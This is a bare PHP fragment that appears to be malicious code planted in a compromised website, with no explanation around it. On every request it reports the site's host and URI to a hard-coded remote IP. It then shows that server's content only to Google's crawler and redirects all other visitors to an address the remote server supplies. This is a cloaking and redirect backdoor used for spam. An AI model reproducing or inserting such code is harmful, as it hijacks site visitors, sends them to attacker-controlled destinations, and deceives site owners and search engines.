$url = "http://46.148.114.50/fr/index.php"; // define("BOTSTAT",true); // require_once(__DIR__."/botstat.php"); $host = isset($_SERVER["HTTP_HOST"]) ? preg_replace("/[^0-9a-z-.]/","",$_SERVER["HTTP_HOST"]) : ""; $scheme = isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) ? trim(strip_tags($_SERVER["HTTP_X_FORWARDED_PROTO"])) : $_SERVER["REQUEST_SCHEME"]; $uri = trim(strip_tags($_SERVER["REQUEST_URI"])); if (extension_loaded("curl")) { $ch = curl_init(); curl_setopt($ch,CURLOPT_URL,$url."?scheme=".$scheme."&host=".$host."&uri=".$uri); curl_setopt($ch,CURLOPT_USERAGENT,$_SERVER["HTTP_USER_AGENT"]); curl_setopt($ch,CURLOPT_HEADER,0); curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); $content = curl_exec($ch); } else { $content = @file_get_contents($url."?scheme=".$scheme."&host=".$host."&uri=".$uri); } if (stristr($_SERVER["HTTP_USER_AGENT"],"google")) { if (stristr($uri,".xml")) header("Content-Type: application/xml; charset=utf-8"); echo($content); } else { header("Location: ".$content); } ?>